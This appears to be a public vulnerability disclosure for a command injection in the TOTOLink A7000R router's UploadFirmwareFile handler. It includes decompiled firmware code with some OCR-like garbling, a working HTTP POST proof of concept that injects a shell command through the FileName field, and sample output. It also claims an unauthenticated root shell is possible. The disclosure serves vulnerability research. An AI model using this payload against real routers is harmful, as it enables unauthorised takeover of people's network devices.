


# TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability

## Overview

- Manufacturer's website information: https://www.totolink.net/
- Firmware download address:
   https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.htm

#### **Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview:



## **Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in UploadFirmwareFile. This vulnerability allows an attacker to execute arbitrary commands through the "FileName" parameter.

```
int v51; // [sp+21Ch] [-B0h]
    int v52; // [sp+220h] [-ACh]
    int v53; // [sp+224h] [-A8h]
53
    int v54; // [sp+228h] [-A4h]
54
    int v55; // [sp+22Ch] [-A0h]
55
    char v56[52]; // [sp+230h] [-9Ch] BYREF
56
57
    int v57; // [sp+264h] [-68h]
58
59
     <u>memset(v40, 0, sizeof(v40));</u>
60
    Var = (const char *)websGetVar(a1, "FileName", &byte_42E318);
61
    websGetVar(al, "FullName", &byte_42E318);
62
    v3 = websGetVar(a1, "ContentLength", &word_42C8AC);
63
    Object = CSSON_CreateObject();
    v5 = strtol(v3, 0, 10) + 1;
64
    strcpv(v40. "/tmp/mvImage.img");
65
    doSystem("mv %s %s", Var, v40);
66
   if (
67
         V5 >= 0X8000 )
68
      if ( v40[0] )
69
70
        v8 = (unsigned int)get_mtd_size("fullflash") >> 20;
```

Var is passed directly into the dosystem function.

```
grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupq
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The dosystem function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
   char v2[516]; // [sp+1Ch] [-204h] BYREF
   va_list va; // [sp+22Ch] [+Ch] BYREF

   va_start(va, a1);
   vsnprintf(v2, 0x200, a1, (va_list *)va);
   return system(v2);
}
```


Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 76
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
{"FileName":";ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
1
```



#### The above figure shows the POC attack effect

```
rwxrwxr-x
rwxrwxr-x
rwxrwxr-x
                         1000
TWXFWXF-X
drwxrwxr-x
              9 1000
                         1000
                                                      2020 usr
              2 1000
drwxrwxr-x
                          1000
                                        4096 Dec
drwxrwxr-x
              9 1000
                          1000
                                        4096 Dec 2
                                                      2020 www
```

Finally, you can write exp to get a stable root shell without authorization.